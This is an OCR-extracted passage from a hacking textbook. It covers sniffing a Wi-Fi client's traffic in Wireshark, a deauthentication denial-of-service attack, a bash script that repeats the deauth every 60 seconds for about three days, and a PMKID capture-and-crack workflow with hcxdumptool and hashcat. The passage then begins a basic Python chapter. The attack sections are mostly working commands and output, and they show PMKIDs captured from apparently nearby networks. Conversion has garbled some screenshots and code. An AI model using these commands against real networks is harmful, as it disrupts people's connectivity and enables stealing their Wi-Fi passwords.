	You are running Wir	eshark 2.4.5 (Git v2.4.5	packaged as 2.4.5	-1).			
2	Ready to load or ca	pture	1	No Packets	Profile	e: Defaul	t

You can now view all of the client's traffic in Wireshark!

r													Cap	oturi	ng f	rom	ha 🛟						•		8
File	<u>E</u> dit	Viev	v g	io	<u>C</u> apt	ture	An	alyze	e <u>S</u> t	tatist	ics	Tel	eph	ony	W	reles	s <u>T</u> ools	He	lp						
			۲	Ð	010 011 011		X	6	Q,	+	+	• .	¢	•	*			€	ର୍ ପ୍						
A	Apply a	displa	iy filt	ter	. <c< th=""><th>trl-/:</th><th>&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>• E</th><th>xpress</th><th>ion</th><th>+</th></c<>	trl-/:	>															• E	xpress	ion	+
No.		Time				S	ourc	e				_	De	stina	tion			Ρ	rotocol	Length	Info				
	86	10.0	042:	1530	902	1	92.	168.	.1.1				23	9.2	55.	255.	250	S	SDP	316	NOTIFY	*	HTTP/	1.1	
	87	10.0	0454	4218	866	1	92.3	168.	1.1				23	9.2	55.	255.	250	S	SDP	371	L NOTIFY	*	HTTP/	1.1	
	88	10.0	049	329	584	1	92.3	168.	.1.1				23	9.2	55.	255.	250	S	SDP	379	9 NOTIFY	*	HTTP/	1.1	
	89	10.0	052	280	616	1	92.	168.	.1.1				23	9.2	55.	255.	250	S	SDP	316	5 NOTIFY	*	HTTP/	1.1	
L	90	10.0	055	5589	933	1	92.	168.	.1.1				23	9.2	55.	255.	250	S	SDP	307	NOTIFY	*	HTTP/	1.1	_
4																									b T
) F	rame	1: 3	81	hvt	es	on	wir	e (:	3048	: hi	ts)	3	81	hvt	es	cant	tured (	3048	hits)	on ir	terface	Θ			
► E	thern	et I	Τ.	Src	: c	isc	0-L	i 9	7:4f	:48	(0	0:2	5:9	c:9	7:4	f:48	3). Dst	: TF	v4mcas	t 7f:f	f:fa (0	1:0	0:5e	7f:f	f:fa
► I	ntern	et P	rot	oco	1 V	ers	ion	4,	Src	: 1	92.	168	.1.	1,	Dst	: 23	39.255.	255.	250						
) ► U	lser D	atag	ram	Pr	oto	col	, s	rcI	Port	: 1	900	, D	st	Por	t:	1900	Ð								
► S	imple	Ser	vic	e D	isc	ove	ry	Prot	toco	1															
4																									•
000	0 01	00	5e	7f	ff	fa	00	25	9c	97	4f	48	08	00	45	00	^.	%	OH	Ε.					-
001	10 01	6f	99	d6	00	00	04	11	6a	04	сØ	a8	01	01	ef	ff	.0		j	• •					
002	20 ff	fa	07	6c	07	6c	01	5b	2a	c0	4e	4f	54	49	46	59	1	.1.[	*.NOTI	FY					
003	30 20	) 2a	20	48	54	54	50	2f	31	2e	31	0d	0a	48	6f	73	* H	TTP/	1.1H	los					
004	40 74	1 3a	32	33	39	2e	32	35	35	2e	32	35	35	2e	32	35	t:239	9.25	5.255.	25					
00:		J 3a	31	39	30	30	⊎d	⊎a	4e	54	3a	15	12	ve 6e	3a	13	0:190	JU	NI:urn	is					
000	70 63	008	05	24	01 6f	13	∠a 67	11	72	00	72	01	00	00	09	01	chema	15-W	LITATI	ла					
00	O DE	: 03	05	zu	01	12	07	Jd	13	05	12	10	09	03	05	Jd	nce-t	лg.	SCIVIC	с.					-
	🗹 ha	: <live< th=""><th>e cap</th><th>oture</th><th>e in p</th><th>prog</th><th>ress</th><th>&gt;</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Packe</th><th>ets: 9</th><th>0 · Displa</th><th>yed: 90</th><th>(100.0%)</th><th>P</th><th>rofile:</th><th>Defau</th><th>lt</th></live<>	e cap	oture	e in p	prog	ress	>									Packe	ets: 9	0 · Displa	yed: 90	(100.0%)	P	rofile:	Defau	lt

To follow a stream of one client, right-click on a packet in the upper window and then click on "Follow Stream."

∠ *Wi-Fi			– 🗆 ×
File Edit View Go Capture Analyze Statistics Telephony Wirele	ss Tools Help		
■ _ @			
📕 tcp			Expression +
No. Time Source Destination	Protocol Length Info		^
11124 126.489466 192.168.1.107 172.217.3.4	TCP 54 51016 → 443 [FIN, A	ACK] Seq=1 Ack=1 Win=65 Len=0	
11125 126.530898 172.217.3.4 192.168.1.107	TCP 54 443 → 51016 [FIN, A	ACK] Seq=1 Ack=2 Win=285 Len=0	
11120 120.551002 192.100.1.107 1/2.217.5.4	TISUL 2 152 Application Data	eq=2 ACK=2 WIN=65 Len=0	
11128 129.282697 192.168.1.107 162.125.34.129	TLSv1.2 379 Application Data		
11132 129.313694 162.125.34.129 192.168.1.107	TCP 60 443 → 50586 [ACK] S	eq=899 Ack=994 Win=82 Len=0	
11133 129.314744 162.125.34.129 192.168.1.107	TLSv1.2 96 Application Data		
11137 129.358611 162.125.34.129 192.168.1.107	TCP 60 443 → 50586 [ACK] 5	eq=941 Ack=1319 Win=84 Len=0	
11138 129.369057 192.168.1.107 162.125.34.129	TCP 54 50586 + 443 [ACK] 5	eq=1319 Ack=941 Win=67 Len=0	
11143 131.217252 192.168.1.107 185.70.40.151	Mark/Unmark Packet Ctrl+M	036 → 443 [ACK] Seq=10874 Ack=1279	2 Win=63 Len=1
11157 131.497686 185.70.40.151 192.168.1.107	Ignore/Unignore Packet Ctrl+D	] 443 → 51036 [ACK] Seq=12792 Ack=	10875 Win=122 Len=0 SLE=10874 SRE=10875
11156 151.800161 192.168.1.107 185.250.61.166	Set/Unset Time Reference Ctrl+T	347 4 443 [ACK] 38d=3343 ACK=1931	win=16545 Len=1[Reassembly error, protoc V
> Frame 11110: 54 bytes on wire (432 bits), 54 bytes capt	Time Shift Ctrl+Shift+T		
Ethernet II, Src: Cisco-Li_97:4f:48 (00:25:9c:97:4f:48)	Packet Comment Ctrl+Alt+C	:05)	
> Transmission Control Protocol, Src Port: 80, Dst Port:			
	Edit Resolved Name		
	Apply as Filter		
	Prepare a Filter		
	Conversation Filter		
	Colorize Conversation		
	SCTD		
	Faller		
	rollow	TCP Stream Ctrl+Alt+Shift+T	
0000 30 e3 7a 55 3c 05 00 25 9c 97 4f 48 08 00 45 00	Сору	UDP Stream Ctrl+Alt+Shift+U	
0010 00 28 D1 CC 40 00 40 05 05 47 C0 a8 01 01 C0 a8 0020 01 6b 00 50 c7 6b 00 00 fd bd 65 e5 e2 bf 50 11	Protocol Preferences	SSL Stream Ctrl+Alt+Shift+S	
0030 17 70 06 88 00 00	Decede As	HTTP Stream Ctrl+Alt+Shift+H	
	Classical Asian		
	Show Packet in New Window	]	

Now you should be able to see and read all that client's traffic! (for more on using Wireshark to analyze traffic, go to <u>https://www.hackers-arise.com/single-post/2018/09/24/Network-Forensics-Wireshark-Basics-Part-1</u>).

# **Denial of Service (DoS) Attack**

As we have seen, there is a Wi-Fi protocol frame known as the de-authentication (deauth) frame. It can be used to knock users off the AP. We used it above to de-authenticate users forcing them to re-authenticate in the WPA2-PSK attack and knock out the legitimate AP in the Evil Twin hack. We can also use that frame and aircrack-ng suite to create a Denial of Service (DOS) against the AP.

We can simply use this command to knock users off the AP. As I mentioned earlier, in some older AP's this will knock out the AP entirely and forcing the admin to reboot the AP.

To do so, we simply need to enter:

```
kali > aireplay-ng --deauth 100 -a <BSSID> wlan0mon
```

<pre>root@kali-2019:~# aireplay-ngdeauth 100 -a 9C:3D:CF</pre>	wlan0mon
10:39:02 Waiting for beacon frame (BSSID: 9C:3D:CF:6D:8F:E	0) on channel 11
NB: this attack is more effective when targeting	
a connected wireless client (-c <client's mac="">).</client's>	
10:39:04 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:05 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:05 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:06 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:06 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:07 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:08 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:08 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF [
10:39:09 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF
10:39:09 Sending DeAuth (code 7) to broadcast BSSID: [9	C:3D:CF [

This will knock everyone off the AP during the duration of the sending of the deauth frames. They can reconnect then afterward. What if we wanted to keep the AP offline indefinitely? We could keep running this command over and over again OR we could summon up our BASH scripting skills (for BASH scripting, see *Linux Basics for Hackers*) to create a simple script that kept running this command at regular intervals.

This simple BASH script periodically sends these de-authenticate (deauth) frames to the AP, thereby knocking all the clients off and disrupting their Internet access. Then, we put our attack to "sleep" for a period of time and restart the attack, knocking everyone off again.

To do so, open Leafpad or any text editor and enter the following;

```
*De Auth Script

File Edit Search Options Help

1 #! /bin/bash

3 for i in {1..5000}|

4 do

6 7

aireplay-ng deauth 1000 - a aa:bb:cc:dd:ee:ff wlan0mon

8 9

9 sleep 60s

10

11 done
```

Line #1 - declares that this is a BASH script

```
Line #3 - starts a for loop starting with one and running through until 5000 iterations
```

Line #5 - begins the do

Line #7 - is our aireplay-ng command that sends the deauth frames to the selected AP BSSID

Line #9 - puts the script to sleep for sixty seconds

Line #11 - completes the do

The script will then send deauth frames to the AP every 60 seconds for 5000 iterations or about three days! Of course, for shorter or longer periods of time, simply adjust the second number in the for clause (5000).

## **PMKID Attack**

In August 2018, the developers of hashcat announced they had found a new attack against WPA2-PSK. As we saw above, the cracking of WPA2-PSK involves temporarily disconnecting a client from the AP in order to get them to reconnect, where we then capture the hash in the 4-way handshake. The good folks at hashcat found that they could get the password hash **without** the need for a client to connect, saving us one step and significant time and trouble.

The PMKID attack is capable of getting the information for the WPA2-PSK brute force password attack by grabbing a single frame. That frame, the RSN IE, contains all the information we need, and it doesn't require a client to connect!

## How It Works

When your wireless network adapter starts up, your system begins to look for known networks to connect to. It "probes" for known SSID's to connect to. If the AP is in range, the AP will respond to the probe. The AP response is the RSN (Robust Security Network). Your network adapter then responds withan

Authentication Request (AR). The Authentication Request prompts the AP to send its own authentication frames. When the W-Fi adapter receives this authentication request, it will send an Association Request to the AP with ESSID and RSN. The AP responds with an EAPOL frame that may contain the PMKID. This PMKID contains:

- 1. PMK
- 2. PMK Name
- 3. AP's MAC Address
- 4. Stations MAC Address

All this information is then hashed through the HMAC-SHA1-128 algorithm. This attack is successful by grabbing the PMKID, stripping out all the information but the password hash, and then running that hash through a hash cracker, such as hashcat.

Let's get started!

The tools we need for this attack are not built into Kali by default, so we will need to download them from github and build them.

First, we need the hcxdumptool. Using git clone, we can download it from www. github.com by entering;

kali > git clone https://github.com/ZerBea/hcxdumptool.git

```
root@kali-2019:~# git clone https://github.com/ZerBea/hcxdumptool.git
Cloning into 'hcxdumptool'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 1839 (delta 2), reused 6 (delta 2), pack-reused 1833
Receiving objects: 100% (1839/1839), 660.85 KiB | 1.54 MiB/s, done.
Resolving deltas: 100% (1242/1242), done.
```

Then, navigate to the new hexdumptool directory;

kali > cd hcxdumptool

.. and make and install this tool.

kali >make

kali >make install

```
root@kali-2019:~# cd hcxdumptool
root@kali-2019:~/hcxdumptool# make
cc -03 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c
cc -03 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c
root@kali-2019:~/hcxdumptool# make install
cc -03 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c
cc -03 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c
install -m 0755 -D hcxpioff /usr/local/bin/hcxpioff
install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool
rm -f hcxdumptool
rm -f hcxdumptool
rm -f *.o *~
```

Next, we need the hcxtools. Just like the hcxdumptool above, we can download and install it by entering;

```
kali >apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev
libpcap-dev
```

kali >git clone https://github.com/ZerBea/hcxtools.git

kali >cd hcxtools

kali >make

kali >make install

We now need to place our wireless adapter into monitor mode again.

kali >airmon-ng start wlan0

With the wireless adapter in monitor mode, we can now probe the available AP's for their PMKID.

kali >hcxdumptool -i wlan0mon -o HackersArisePMKID -enable\_status=1

<pre>root@kali-2019:~/hcxdumptool# hcxdumptool -i wlan0mon -o HackersArisePMKIDenable_status=1</pre>
initialization
warning: NetworkManager is running with pid 550
(service possbile interfering hcxdumptool)
warning: wpa_supplicant is running with pid 1009
(service possbile interfering hcxdumptool)
warning: wlanθmon is probably a monitor interface
interface is already in monitor mode
start capturing (stop with ctrl+c)
NMEA 0183 SENTENCE:
INTERFACE NAME
INTERFACE HARDWARE MAC: 00c0ca59123a
DRIVER rt2800usb
DRIVER VERSION: 5.2.0-kali2-amd64
DRIVER FIRMWARE VERSION.: 0.36
ERRORMAX 100 errors
FILTERLIST ACCESS POINT.: 0 entries
FILTERLIST CLIENT: 0 entries
FILTERMODE
PREDEFINED ACCESS POINT.: 0 entries
MAC ACCESS POINT: 0016b46887c9 (incremented on every new client)
MAC CLIENT
REPLAYCOUNT
ANONCE
SNONCE
08:13:37 2 b025aa8d5db0 <-> 94103e7fd5c7 PMKID:90bf8cf2a81c90f9284117f86fc8f932 (Spring)
08:13:40 11 b025aa8d5db0 <-> a0a3e21f5595 PMKID:9bad7d89085a2fd68a52eee40cf2954b (CenturyLink8327)
08:13:41 11 b025aa8d5db0 <-> 9c3dcf6d8fe0 PMKID:2b2e675a7363840928c8103b00720c45 (NTGR VMB 1462061001)
08:13:56 6 c8d3ffc6473c <-> bc99114a9847 PMKID:f17e79d48a5eb26c404815493705bb8d (CenturyLink9930)
08:14:00 11 b025aa8d5db0 <-> 4aa3e21f5596 PMKID:41ed0e58684fe885108f398d112e48ee (Test)
08:14:00 11 b025aa8d5db0 <-> 10133104b82b PMKID:c00e81b55f948c86e5fc5b427d829d33 (CenturyLink2925)

As you can see above, hexdumptool is capable of pulling the PMKID from many of the Wi-Fi AP's in the area. It likely won't be able to pull all of them, but it usually can pull most of them (80-90 percent).

Note that our capture file has multiple PMKID's. It's likely we only want to crack the PSK of one AP. To do so, let's run the hcxdumptool with a filter for just a single the target AP. Go back to our airodump-ng terminal and select the BSSID of the target AP. Then create a simple text file with the BSSID of the target AP. We can use cat to create a simple text file named "targetBSSID'.

Make certain that the file does not contain any colons ":" or spaces.

kali > cat > targetBSSID <the target AP's BSSID>

Exit cat by entering CTRL+D.

Now that we have the BSSID into a plain text file, we can use it in hcxdumptool filter for that target AP and place the target's PMKID into our output file.

To do so, enter:

kali > hcxdumptool -i wlan0mon -o HackersArisePMKID -enable\_status=1 filterlist\_ap=targetBSSID -filtermode=2

<pre>root@kali-2019:~# hcxdumptool -i wlan0mon -o HackersArisePMKIDenable_status=1filterlist_ap=targetBSSIDfiltermode=2 initialization warning: NetworkManager is running with pid 550</pre>
(service possbile interfering hckdumptool) warning: wpa_supplicant is running with pid 1009 (service possbile interfering hckdumptool) warning: wlan@mon is probably a monitor interface interface is already in monitor mode
<pre>start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME: wlan0mon INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER.C: rt2800usb DRIVER VERSION: 52.0-kali2-amd64 DRIVER FIRMWARE VERSION.: 0.36 ERRORMAX</pre>
MAC ACCESS POINT.: 0 entries MAC ACCESS POINT.: 24336c783aca (incremented on every new client) MAC CLIENT: c022504abd8c REPLAYCOUNT: 63309 ANONCE: 73bd9d13bc343d967babd1152bdca2bdf02208874363d7f6183909acd106e08a SNONCE: 990c0df78e9e9cf51e66e6430452d795fa8f35443b80f9d222e94eb389f34352

As you can see above, hcxdumptool focused just upon that one AP and placed the PMKID into our file "HackersArisePMKID"!

#### **Convert Dump to Hashcat Format**

To convert the HackersArisePMKID file into a format that hashcat can work with, we need to use the hcxcaptool. Make certain you are in the same directory as the HackersArisePMKID file and enter:

kali > hcxcaptool -z hashoutput.txt HackersArisePMKID

Now that we have stripped out all the superfluous information, we can send this hashoutput.txt file to hashcat and crack it! Note the -m 16800 in this command represents the appropriate hash algorithm for this hash.

kali > hashcat -m 16800 hashoutput.txt top 10000 passwords.txt

root@kali-2019:~# hashcat -m 16800 hashoutput.txt top10000passwords.txt hashcat (v5.1.0) starting...

# Social Engineering WPA2-PSK Password

In some cases, the best route to obtain the WPA2-PSK password is to social engineer it from the user. A sophisticated social engineering attack can be VERY effective against most people. Fortunately, we have a tool for just that purpose named wifiphisher. In Chapter 17, Social Engineering, I'll show you how to use it to get the end-user to volunteer their Wi-Fi password to you!

# Summary

Wi-Fi or IEEE 802.11 is still fertile ground for hacking after twenty years of patching and security upgrades. It's critical that the attacker selects the proper strategy to be successful and not waste their time and resources. The WPA2-PSK attacks using the 4-way handshake, or PMKID can be very time-consuming. If the AP has WPS enabled, this attack by bully or REAVER can take just a few hours (it only requires 11,000 attempts). If all you need is to eavesdrop on the target's Wi-Fi traffic, the Evil Twin attack can be very effective.

If you are unsuccessful in obtaining the password by these attacks, consider the social engineering attack in Chapter 17.

# **Exercises**

- 1. Put your wireless network card in monitor mode. Note its name change.
- 2. Follow the steps above to obtain the 4 way handshake between the Wi-Fi client and the AP. Now, crack that password with hashcat.
- 3. Build the Evil twin attack above and watch the target's wi-fi traffic.
- 4. Scan your area for AP's with WPS 1.0. When you find one, use bully or Reaver to crack the PIN.

# 16

# **Malicious Python**

The will to succeed is important, but what's more important is the will to prepare.

Bobby Knight



**Some basic scripting skills are essential to becoming a master hacker.** Without the ability to write your own scripts, you will be relegated to using tools developed by others. There is nothing wrong with borrowing from others, but once a tool has been developed, its efficacy and value declines by the minute. As soon as hackers develop a new tool, AV, firewall, and IDS developers begin to detect its behavior and signature, making it less effective. As you develop and refine your scripting skills, you can advance to the upper echelons of hackers!

Although there are many programming languages, Python is the choice for most hackers. If you take a look at the tools in your Kali Linux, most are written in Python, including sqlmap, p0F, recon-ng, wpscan, and many others. Furthermore, well-known applications such as YouTube, Dropbox, Instagram, and Spotify are all written in Python. This is likely because Python is simple, efficient, and has innumerable third-party libraries (small pieces of reusable code). These libraries provide Python functionality like no other scripting language. You can build hacking tools in other languages, but Python's modules make it much faster and easier.

Before we move into writing our Python scripts, let's address some important preliminaries:

- 1. Python Modules
- 2. Pip
- 3. Object-Oriented Programming

# **Python Modules**

When you install Python, you also install its set of standard libraries and modules that provide you with an extensive range of capabilities. These include built-in data types, exception handling, numeric and math modules, file handling, cryptographic services (critical to hacker and information security pros), internet data handling, and interaction with internet protocols.

Despite all the power offered by these standard libraries and modules, you may need additional thirdparty modules. In Python, third-party modules are extensive and one of the primary reasons hackers prefer Python to other programming languages. You can find a comprehensive list of third party-modules at PyPI (the Python Package Index, shown below)

# Pip

Python has its own package manager (like rpm or apt) specifically for installing and managing Python packages known as pip (Python Installs Packages). Since everything in this chapter is using Python3, you will need pip for Python3 to download and install packages. You can download and install pip from the Kali repository by entering the following:

kali > apt install python3-pip

Then, to download a particular package from PyPI repository, you can simply enter:

kali > pip3 install <package name>

When you download these packages from the PyPI repository via pip3, they are automatically placed in the /usr/local/lib/python3/dist-packages directory on your Kali system. So, for

instance, if you had used pip to install the Python implementation of the SNMP protocol, you would find it at /usr/local/lib/python3.6/pysnmp. If you aren't sure where your package has been placed, you can enter pip3 followed by the show and the package name, as seen below:

kali> pip3 show pysnmp

# **Object-Oriented Programming**

Before we delve into Python, it's probably a good idea to take some time to discuss the concept of objectoriented programming or OOP. Python, like many modern programming languages, uses this model. If you have experience with another OOP language and understand these concepts, you can safely skip to the next section. If not, take a minute to read this section, as it will likely make your journey into Python a bit easier.

In the figure below, we illustrate the concept of the OOP model. As you might surmise, OOP revolves around the concept of an object. The object has properties in the form of attributes and states, as well as methods that are actions performed by or on the object.



The idea behind OPP programming is to create objects that act like things in the real world. For example, a car is an object that has properties, such as its wheels, color, size, and an engine. That same car has methods, which are the actions the car takes, such as accelerating, starting, stopping, and locking. From the perspective of natural language, an object is a noun, a property is an adjective, and a method is a verb.

Objects then are members of a class, which is like a template for creating objects with shared initial variables, properties, and methods. For example, if we have a class called cars, our car (Audi) would be a member of the class of cars. This class would also include other objects/cars, such as Toyota and BMW.



Classes can also have subclasses. Our car class has an Audi subclass, and an object of that subclass might be an Audi A8.

Each object would have properties (make, model, year, and color) and methods (start, lock, drive, and park).

In OOP languages such as Python, objects inherit the characteristics of their class; the AudiA8 would inherit the methods (start, lock, drive, and park) from its class "car."

These OOP concepts are critical to understanding how Python works, as you will see as you progress through this chapter, and your Python skills develop.

# **Getting Started**

Now that we have some of the basics out of the way, let's talk about some basic programming concepts, terminology, and Python syntax. After that, we will begin to write some simple scripts evolving to some more sophisticated hacking scripts before the end of this chapter.

Just like BASH scripts, we can create Python scripts with any text editor such as vim or Leafpad. As your scripts advance into greater complexity and sophistication, you will likely find using an integrated development environment, or IDE, useful. In this chapter, we will use one of the best Python IDEs, PyCharm. IDEs are like text editors, but with additional capabilities builtin, such as color-coding, debugging, and compiling capabilities.

Although most IDEs will work in multiple programming environments, PyCharm is designed **exclusively** to work with Python. This is an excellent IDE with a lot of enhancements that will make your coding faster and more efficient. The professional version of PyCharm can be purchased, but we will use the free community edition here. You don't need to use an IDE to follow on in this chapter, but it will help.

You can download PyCharm from <u>https://jetbrains.com/pycharm/download</u>. Once it has downloaded, you will need to navigate to the new PyCharm directory, extract it, and then start PyCharm by executing the pycharm.sh script.

root@kali-2019:~/pycharm-community-2019.2.3# cd bin
root@kali-2019:~/pycharm-community-2019.2.3/bin# ls -l
total 196
-rwxr-xr-x 1 root root 221 Sep 25 02:50 format.sh
-rwxr-xr-x 1 root root 26540 Sep 25 02:50 fsnotifier
-rwxr-xr-x 1 root root 32776 Sep 25 02:50 fsnotifier64
-rwxr-xr-x 1 root root 26453 Sep 25 02:50 fsnotifier-arm
-rw-rr 1 root root 10915 Sep 25 02:50 idea.properties
-rwxr-xr-x 1 root root 296 Sep 25 02:50 inspect.sh
-rw-rr 1 root root 39520 Sep 25 02:50 libdbm64.so
-rw-rr 1 root root 2322 Sep 25 02:50 log.xml
-rwxr-xr-x 1 root root 410 Sep 25 02:50 printenv.py
-rw-rr 1 root root 533 Sep 25 02:50 pycharm64.vmoptions
-rw-rr 1 root root 7074 Sep 25 02:50 pycharm.png
-rwxr-xr-x 1 root root 7399 Sep 25 02:50 pycharm.sh
-rw-rr 1 root root 4774 Sep 25 02:50 pycharm.svg
-rw-rr 1 root root 541 Sep 25 02:50 pycharm.vmoptions
-rwxr-xr-x 1 root root 808 Sep 25 02:50 restart.py
root@kal1-2019:~/pycharm-community-2019.2.3/bin# pycharm.sh
bash: pycharm.sh: command not found
<pre>root@kali-2019:~/pycharm-community-2019.2.3/bin# ./pycharm.sh</pre>
openable of the server very warning: option useconcearesweepGc was deprecated in version 9.0 and will likely be re
moved in a future release.

This should open the PyCharm interface that looks like the figure below.



# Variables

Let's begin with some of the more practical concepts in Python. Like in other programming languages, Python has variables. A variable is a name associated with a particular value. Whenever you use that variable name in a program, it uses the associated value. For instance, a variable called "name" might contain the value "Occupytheweb."

A variable name points to data stored in a memory location, which may contain a value such as an integer, real number, string, floating point number, Boolean value (TRUE or FALSE), list or dictionary (we'll cover these shortly).

To become familiar with variables, let's create our first Python script. Open your PyCharm IDE and create the following simple script you can call first\_simple\_script.py.

```
ifirst_simple_script.py ×

#! /usr/bin/python3
aname="OccupytheWeb"
```

The first line simply tells the system to use the python3 interpreter (Python3 is the latest Python, but many systems still use Python2.7 at this writing). The second line defines a variable called name and assigns a value to it (in this case, "Occupytheweb"). You can change this line to your name or any name. The value of this variable is in the string character data format, which means the content is enclosed in quotation marks and is treated as text (Note: in Python, single or double quotation marks are generally interchangeable with some exceptions). You can put numbers in strings, but they will be treated as text and not numbers.

The third line creates a print() statement concatenating (concatenate is a fancy word used in information technology, meaning "put together") "**Greetings to**" with the value in the **name** variable followed by the text "**and Welcome to This Journey to Become a Master Hacker**." A print statement will display whatever you pass to it within the parenthesis to the screen.

Before you can execute this script, you need to give yourself permission to execute it. You need to use the chmod command to do that.

kali > chmod 755 first\_simple\_script.py

Now, to execute the script, simply precede the script name with a period and forward slash (./).

kali > ./first\_simple\_script.py

root@kali-2019:~# ./first\_simple\_script.py
Greetings to OccupytheWeb and Welcome To This Journey to Become a Master Hacker!
root@kali-2019:~#

Success! You just completed a very basic script in Python!

In Python, each variable type is treated like a class. A class is a template for creating objects (as we discussed in the earlier section on OOP. In the next script, I will demonstrate a few different types of variables. Variables can be more than just strings (text). They can hold several different data types.

🐌 sec	ondpythonscript.py ×
1	#! /usr/bin/python3
2	
3	HackersAriseStringVariable = "Getting Started Becoming a Master Hacker";
4	
5	HackersAriseIntegerVariable = 12
6	
7	HackersAriseFloatingPointVariable = 3.1415
8	
9	HackersAriseList = $[1,2,3,4,5,6]$
10	
11	<pre>HackersAriseDictionary = {'name'_: 'OccupytheWeb', 'value'_: 27}</pre>
12	
13	print_(HackersAriseStringVariable)
14	
15	print_(HackersAriseIntegerVariable)
16	
17	print_(HackersAriseFloatingPointVariable)
18	
19	print (HackersAriseList[3])

This script creates five variables that contain different data types. These include:

- 1. A string treated as text;
- 2. An integer—a number without decimals;
- 3. A floating-point number—a number with decimals;
- 4. A list—a series of values stored together;
- 5. A dictionary—an unordered set of data each with its own key.

Dictionaries are useful when you want to refer to or change a value by referring to a key name. For example, say you have a dictionary called cars that contains your favorite model of each car manufacturer configured like the following:

Later, while writing your script and you may want to get your favorite model of a particular car, you can simply call it by its key.

```
print (cars[BMW])
```

You can also change the values for particular keys. If you wanted to change your favorite Tesla to the Model S, you would enter:

```
cars['Tesla'] : 'Model S'
```

We will discuss lists and dictionaries in more detail later in this chapter.

Enter the script above in PyCharm and save it as secondscript.py. Give yourself permission to execute it and then execute it as follows:

kali >./secondpythonscript.py



## Comments

Like any programming language, Python has the capability to add comments. Comments are simply text that is added to your code to help explain what you are trying to do. These comments are NOT executed by the interpreter. The Python interpreter sees the comments and simply skips over it until it comes to another line of executable code.

Comments are not required in your scripts but are highly advisable. Imagine coming back to your script six months or six years from now and trying to determine what you were trying to accomplish. Moreover, imagine another programmer trying to decipher your code five years from now. In both cases, comments are mighty helpful and will save you both significant time and frustration.

Python uses the "#" symbol to designate a single line of comment. When you want to write multiline comments, you can use three double quotation marks ("") to begin the comment and three double quotation marks at the end.

As you can see below, I have enhanced our secondpythonscript.py with some comments that help explain what we were trying to do with this code.

💑 secondpythonscript.py 🛛



When we execute the script again, nothing changes as the Python interpreter simply skips over the comments and executes only the non-commented lines.

# **Functions**

Functions in Python (like other programming languages) are bits of code that perform a designated action. They are like mini-programs within your script. For instance, the print() statement we used above is a function that displays whatever you pass to it in the script. There are a large number of functions in Python that you can import and use. Most are available in your default installation of Python, but there are numerous others available in the downloadable libraries in Python.

Here is a brief sampling of available functions.

- abs() returns the absolute value of a number
- ascii() returns a string containing a printable representation of an object
- bool() returns a Boolean value
- dict() creates a new dictionary
- help() invokes the built-in help
- hash () returns the hash value of an object
- max() returns the largest value
- hex() converts an integer to hexadecimal
- min() returns the smallest value
- round()- returns a rounded number
- len() returns the length of the object
- sum() sums the items of an iterable and returns the total

You can also create your own functions, but before you do so, make certain that it has not already been created. You can check the official Python documentation at <u>https://docs.python.org</u>.

To create your own function, use the def statement followed by the name you want to use for the function, such as if we wanted to create a function named "new\_function" we would enter:

```
def new_function
<Block of Code>
```

# Lists

Most programming languages use what they refer to as arrays to store multiple separate objects. These arrays are lists of values that can be retrieved, deleted, replaced, and manipulated when referenced by an index []. In Python, arrays are known as lists.

It's worth noting here that Python--like many other programming languages—begins counting with 0. The first element is element 0, the second element is element 1, and so forth. This means that if you wanted to access the fourth element in a list, you would do so with <code>list[3]</code>.

Lists in Python are iterable. This means that the list can provide successive elements when you run all the way through it (see Loops). This is useful because quite often when we use lists, we are looking through the list for a particular value such as a password list.

Let's imagine you want to display the third element in our list in our second pythonscript.py (we created a list named HackersAriseList). We can access that element and print it by calling the list's name followed by the index of the element in square brackets.

Let's test this now on our script. On Line 27 of our script, change the index in the square brackets to [2]. Now, run the script again.

# kali > ./secondpythonscript.py



As you can see, this time, the script prints the number 3 from our list!

#### Modules

A module is simply a section of code saved into a separate file so that you can use it as many times as you need without having to reenter all the code again and again. If you want to use a module, you need to import it. As we discussed earlier, using standard and third-party modules is one of the key strengths of Python, and these particular modules are why hackers prefer Python. So, if we wanted to use the ftp module, we would import it.

import ftplib

Later in this chapter we will use this module and the socket module in our ftp password cracking script.

# **Network Communications in Python**

Before we move on to more advanced Python concepts, let's use what we learned so far to write a couple of scripts that may be useful to hackers and information security professionals.

# **Building a TCP Client**

In this script, we'll create a simple TCP network connection in Python using a very practical and widely used module named "socket." Socket is among those many modules in Python that can be used for a multitude of tasks. Here we will be using the socket module to create our simple TCP connection.

Let's build the script seen below, and then we will analyze it here. This script goes out and grabs the banner presented by the SHH protocol on port 22. A banner, as we saw earlier in Chapter 4 with Shodan, is an "announcement" that an application makes when someone or something connects to it. Hackers can use this technique for reconnaissance to determine what application, and even what version of the application, is running on a port. This is exactly what Shodan does. It grabs the banner from every port and IP address and puts the banner information into a database, indexes it, and allows us to search by that information.

In the first step, we need to import the socket module we referenced earlier. Once it has been imported, we can then use its functions and tools. In this script, we will use the socket module to create a connection over the network for us. A socket is a module that enables two computer nodes to communicate with each other. It uses the familiar server/client architecture.

In the next step, we create a variable and associate it with the socket class from the socket module (Remember my earlier discussion on classes?). We do this so we don't have to reference the full socket.socket() syntax each time we want to use it. Now we can simply use the variable name, making our coding simpler and more efficient.

